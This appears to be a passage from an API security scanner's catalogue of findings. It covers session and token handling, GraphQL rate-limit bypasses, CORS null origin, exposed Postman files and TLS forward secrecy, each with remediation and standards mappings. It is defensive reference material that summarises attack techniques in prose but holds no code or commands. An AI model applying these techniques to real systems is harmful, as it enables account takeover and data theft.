Description: API bearer tokens remain valid after extended periods of inactivity. The tested token was still accepted by the server after the configured check interval (default: 30 minutes). Excessive session timeouts increase the window for token theft and replay attacks.

Impact: Long-lived sessions give attackers more time to exploit stolen credentials. If a token is captured via XSS, MITM, or log file exposure, the attacker has a wider window to access the API before the token naturally expires.

Remediation: Set token expiration to 15-30 minutes for sensitive APIs. Use refresh token rotation for longer-lived sessions. Implement idle timeout detection server-side.

Effort: Easy

CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

OWASP Web: A07:2025 Identification and Authentication Failures

OWASP API: API2:2023 Broken Authentication

NIST 800-53: AC-12

PCI DSS 4: 8.2.8

MEDIUM SI-153 — Session Tokens Remain Valid After Logout

Description: Cookie-based session tokens remain valid after calling the logout endpoint. The session cookie can be replayed against protected resources and continues to grant access, indicating the server does not invalidate the server-side session record on logout.

Impact: An attacker who captures a user's session cookie (via XSS, network sniffing, or shared workstation) can continue accessing the application even after the user logs out, as the session token remains valid server-side.

Remediation: Invalidate server-side session records on logout. Clear session cookies and rotate session IDs. Implement session binding to prevent token reuse after logout.

Effort: Easy

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

OWASP Web: A07:2025 Identification and Authentication Failures

OWASP API: API2:2023 Broken Authentication

MITRE ATT&CK: T1550.004 (Lateral Movement)

NIST 800-53: AC-12, IA-5

PCI DSS 4: 8.2.3

MEDIUM SI-154 — Unhandled Application Exception

Description: An API response contains stack traces, exception class names, debug output, or SQL error messages. This typically occurs on 500-series responses but can also appear in 200 responses with JSON error payloads. The disclosure reveals internal implementation details.

Impact: Exception details expose framework versions, file paths, database schemas, and internal logic that attackers use to craft targeted exploits. SQL error messages specifically reveal database type and schema structure for injection attacks.

Remediation: Implement a global exception handler that returns a generic error message to clients. Log full stack traces server-side only. Disable debug mode and detailed error pages in production.

Effort: Easy

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

OWASP Web: A05:2025 Security Misconfiguration

OWASP API: API8:2023 Security Misconfiguration

NIST 800-53: SI-11

PCI DSS 4: 6.2.4

MEDIUM SI-155 — JWT Token Contains Personally Identifiable Information

Description: JWT access token payload contains personally identifiable information (PII) such as email, phone number, or address. JWTs are base64-encoded (not encrypted), so any party that intercepts or extracts the token can read PII directly.

Impact: An attacker who obtains the JWT (from browser storage, server logs, Referer headers, or MITM) gains access to the user's personal data without needing to call any additional API endpoint. This violates data minimization principles (GDPR Art. 5).

Remediation: Remove PII from JWT payloads. Use opaque tokens or encrypted JWTs (JWE) when personal data must travel with the token. Store user details server-side and look them up by subject claim.

Effort: Moderate

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

OWASP API: API2:2023 Broken Authentication

MITRE ATT&CK: T1528 (Credential Access)

NIST 800-53: SC-8, SC-28

PCI DSS 4: 3.4.1

HIGH SI-156 — Bearer Token Transmitted in URL Query Parameter

Description: Authentication tokens (access_token, bearer, jwt) are transmitted in URL query parameters rather than in headers or cookies.

Impact: Tokens in URLs leak via HTTP Referer headers to third-party sites, appear in server access logs, proxy logs, browser history, and any URL-sharing mechanism. An attacker accessing any of these can hijack the user's session.

Remediation: Transmit authentication tokens in the Authorization header or as HttpOnly cookies. Never pass tokens in URL query parameters.

Effort: Easy

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

OWASP Web: A07:2025 Identity and Authentication Failures

OWASP API: API2:2023 Broken Authentication

MITRE ATT&CK: T1528 (Credential Access)

NIST 800-53: SC-8

HIGH SI-157 — Information Disclosure: API Key in URL Query Parameter

Description: API keys are transmitted in URL query parameters (api_key, apiKey, client_secret, etc.) rather than in headers.

Impact: API keys in URLs leak via Referer headers, server access logs, proxy logs, and browser history. An attacker with a leaked API key gains the same API access level as the legitimate client.

Remediation: Transmit API keys in a custom header (e.g. X-API-Key) or the Authorization header. Avoid URL query parameters for secrets.

Effort: Easy

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

OWASP API: API8:2023 Security Misconfiguration

NIST 800-53: SC-8

HIGH SI-158 — Session Token Not Rotated After Authentication

Description: The session cookie retains the same value before and after authentication. An attacker who sets a pre-authentication session cookie can hijack the victim's authenticated session.

Impact: An attacker can set a known session token in the victim's browser (via XSS, subdomain cookie injection, or URL parameter) before the victim logs in. After login, the session token remains the same, giving the attacker a fully authenticated session.

Remediation: Regenerate the session ID on every privilege-level change (login, logout, role escalation). Invalidate the old session immediately.

Effort: Easy

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

OWASP Web: A07:2025 Identity and Authentication Failures

OWASP API: API2:2023 Broken Authentication

MITRE ATT&CK: T1563 (Lateral Movement)

NIST 800-53: AC-12, SC-23

PCI DSS 4: 6.2.4

MEDIUM SI-159 — CORS Allows Null Origin

Description: The API reflects 'null' as an allowed CORS origin. Sandboxed iframes, data: URIs, and local files send Origin: null, allowing an attacker to craft pages that read cross-origin API responses.

Impact: An attacker can create a sandboxed iframe that sends Origin: null, which the server accepts. If credentials are allowed, the attacker can read authenticated API responses, extracting user data and tokens.

Remediation: Never whitelist 'null' as an allowed origin. Use an explicit allowlist of trusted origins for CORS.

Effort: Easy

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

OWASP API: API8:2023 Security Misconfiguration

NIST 800-53: AC-4

LOW SI-160 — GraphQL Field Name Suggestions Enabled

Description: The GraphQL server returns 'Did you mean ...?' suggestions in error responses for misspelled field names, enabling schema reconstruction even when introspection is disabled.

Impact: Attackers can use automated tools (Clairvoyance, graphql-cop) to systematically reconstruct the full schema from error-message suggestions, bypassing introspection restrictions.

Remediation: Disable field suggestions in production. In Apollo Server: set validationRules to NoSchemaIntrospectionCustomRule and disable suggestions.

Effort: Easy

CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

OWASP API: API8:2023 Security Misconfiguration

MEDIUM SI-161 — GraphQL Batching Enabled Without Limit

Description: The GraphQL endpoint accepts batched queries (array of operations) in a single request without enforcing a batch size limit.

Impact: Attackers can bypass per-request rate limits by batching hundreds of queries (e.g., login mutations for credential stuffing) into a single HTTP request, evading IP-based throttling.

Remediation: Disable batching or enforce a maximum batch size (e.g. 5). Count each batched query against the per-user rate limit.

Effort: Easy

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

OWASP API: API4:2023 Unrestricted Resource Consumption

MEDIUM SI-162 — GraphQL Alias-Based Rate Limit Bypass

Description: The GraphQL endpoint resolves multiple aliased copies of the same field in a single request, allowing attackers to multiply resolver executions and bypass per-request rate limits.

Impact: An attacker can send a single HTTP request with 100+ aliased resolver calls (e.g., 100 login mutations with different credentials), bypassing IP-based rate limits that count HTTP requests, not GraphQL operations.

Remediation: Count each alias as a separate operation for rate-limiting. Implement query complexity scoring that accounts for aliases.

Effort: Moderate

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

OWASP API: API4:2023 Unrestricted Resource Consumption

MEDIUM SI-163 — Information Disclosure: OAuth Token via Endpoint

Description: The OAuth token info/introspection endpoint returns token metadata (scope, audience, user identity) to any bearer of the token without requiring client authentication.

Impact: An attacker with a leaked or stolen token can query the token info endpoint to discover the token's scope, audience, and associated user identity, enabling targeted privilege escalation.

Remediation: Restrict token info endpoints to authenticated clients only. Require client_id + client_secret for introspection requests per RFC 7662.

Effort: Moderate

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

OWASP API: API2:2023 Broken Authentication

NIST 800-53: AC-3

MEDIUM SI-164 — Postman Collection or Environment File Exposed

Description: Postman collection or environment files are publicly accessible. Collections expose full API endpoint inventory with example requests; environment files may contain API keys, tokens, and secrets.

Impact: An attacker gains a complete API endpoint map with example requests, parameters, and potentially authentication tokens from the Postman environment file, enabling targeted API attacks.

Remediation: Remove Postman collection and environment files from public web paths. Never deploy development/testing files to production servers.

Effort: Easy

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

OWASP API: API8:2023 Security Misconfiguration

INFO SI-165 — Rate Limit Headers Expose Throttling Configuration

Description: API responses include rate-limiting headers (X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset) that reveal exact throttling thresholds.

Impact: An attacker can read the rate limit, remaining quota, and reset window to precisely calibrate brute-force attacks to stay just under the limit, making detection harder.

Remediation: Evaluate whether rate limit headers are necessary in production. If kept, combine with exponential backoff enforcement and account lockout.

Effort: Easy

OWASP API: API4:2023 Unrestricted Resource Consumption

LOW SI-166 — API Version Header Manipulation Yields Different Response

Description: The API accepts version negotiation headers (X-API-Version, Accept-Version, Api-Version) and returns different responses for different version values, indicating deprecated or beta versions may be accessible.

Impact: An attacker can access deprecated API versions that may have weaker security controls, missing authentication checks, or known vulnerabilities that were fixed in newer versions.

Remediation: Restrict API version negotiation. Disable access to deprecated API versions in production. Return 400 for unrecognized version headers.

Effort: Easy

CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

OWASP API: API8:2023 Security Misconfiguration

INFO SI-167 — Web Endpoint Discovered (Katana)

Description: Katana web crawler discovered accessible web paths, JavaScript-referenced endpoints, and linked resources on the target application. Katana performs headless or passive crawling to enumerate the full reachable surface of a web application, including dynamically generated links.

Impact: Discovered endpoints expand the known attack surface for further API and web security testing. Hidden or undocumented paths may expose administrative interfaces, debug endpoints, or sensitive functionality not intended for public access.

Remediation: Review all discovered endpoints for unintended exposure. Remove or restrict access to administrative, debug, and development endpoints in production. Implement proper access controls on all discovered paths.

Effort: Moderate

CVSS Vector: N/A

OWASP API: API9:2023 Improper Inventory Management

MITRE ATT&CK: T1595.002 (Reconnaissance)

NIST 800-53: CM-8

MEDIUM SI-170 — SSL/TLS Forward Secrecy: Not Supported

Description: The API endpoint's TLS configuration does not offer forward secrecy. Cipher suites without ephemeral key exchange (ECDHE/DHE) leave all recorded API traffic vulnerable to retrospective decryption if the server's private key is later compromised.

Impact: API communications often carry authentication tokens, session data, and sensitive business payloads. Without forward secrecy, an attacker who captures encrypted API traffic and later obtains the private key can decrypt every recorded session retroactively.

Remediation: Configure the API server to use only cipher suites that provide forward secrecy (ECDHE or DHE key exchange). Disable static RSA key exchange. TLSv1.3 mandates forward secrecy and should be preferred.

Effort: Easy

CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

OWASP Web: A02:2025 Cryptographic Failures

OWASP API: API8:2023 Security Misconfiguration

NIST 800-53: SC-8, SC-12

PCI DSS 4: 4.2.1